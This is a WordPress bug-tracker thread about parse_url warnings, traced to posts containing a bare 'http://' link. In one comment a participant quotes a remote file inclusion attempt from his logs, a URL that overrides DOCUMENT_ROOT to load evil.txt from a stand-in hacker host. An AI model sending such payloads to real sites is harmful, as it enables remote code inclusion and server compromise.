Opened 14 years ago
Closed 14 years ago
#11029 closed defect (bug) (fixed)
parse_url errors
Reported by: | miqrogroove | Owned by: | westi |
---|---|---|---|
Milestone: | 3.0 | Priority: | normal |
Severity: | normal | Version: | 2.8.4 |
Component: | Warnings/Notices | Keywords: | has-patch tested |
Focuses: | Cc: |
Attachments (3)
Change History (22)
#3
@
14 years ago
Actually I have no idea what triggers the error. Yes, it could be related to post editing, or anything else for that matter.
#4
@
14 years ago
Where are you seeing the error message then? Given the code it was in, I was assuming i was related to viewing/editing posts
#5
@
14 years ago
I'm just reading my PHP error log. Display_errors is disabled of course. I realize this is probably unrelated, but here's an excerpt from the latest log:
[31-Oct-2009 09:10:12] PHP Warning: gzuncompress() [<a href='function.gzuncompress'>function.gzuncompress</a>]: data error in wp-includes/http.php on line 1792
[31-Oct-2009 09:10:13] PHP Warning: gzuncompress() [<a href='function.gzuncompress'>function.gzuncompress</a>]: data error in wp-includes/http.php on line 1792
[31-Oct-2009 09:10:13] PHP Warning: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in wp-includes/http.php on line 1787
[31-Oct-2009 09:10:14] PHP Warning: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in wp-includes/http.php on line 1787
#6
@
14 years ago
- Milestone changed from 2.9 to Future Release
Those gz*() errors are expected on the 2.8 branch whilst attempting to open remote pages which are compressed.. Quite possibly unrelated however.. but could be related.. Those gz*() messages shouldn't occur under 2.9
Until someone can work out what exactly is triggering it, i'm going to set this to a future release,
#7
@
14 years ago
I will need to do some testing to see if this is relevant, but I just found something unexpected in a comment form:
<input type="text" name="url" id="url" value="http://blogyul.miqrogroove.com/http://"
I can only make guesses at this point, so I'll let you know what I find.
#8
@
14 years ago
bah probably just something that got saved last time I was testing. Don't mind me :)
#9
@
14 years ago
- Resolution set to worksforme
- Status changed from new to closed
I'll make a new ticket if I come up with a reproducable warning.
#12
@
14 years ago
- Keywords needs-patch added; reporter-feedback removed
- Milestone set to 3.0
- Resolution worksforme deleted
- Status changed from closed to reopened
Found it by reconciling logs. There's a cron job that throws this error when a post is published with invalid links in it.
#13
@
14 years ago
I think this is can safely be closed as invalid.
I occasionally ever the error in my logs, but it's always when hackers try to override a global using urls such as:
http://example.com?_SERVER[DOCUMENT_ROOT]=http://hacker.com/evil.txt
#14
@
14 years ago
Denis, shush :)
Steps to reproduce:
- Add New Post
- Add some text.
- Highlight some text.
- Click the Insert/edit link button.
- Click the Insert button.
- Click Publish.
Expected Result: No errors.
Actual Result: [28-Feb-2010 12:14:44] PHP Warning: parse_url(http://) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /wp-includes/functions.php on line 1191
That is related to enclosures..
Can you post the content of a post which will trigger it?
It looks like having simply "http://" in the source of a post may trigger it.. or it may be a different url (thus the request for the content) to see whats triggering it.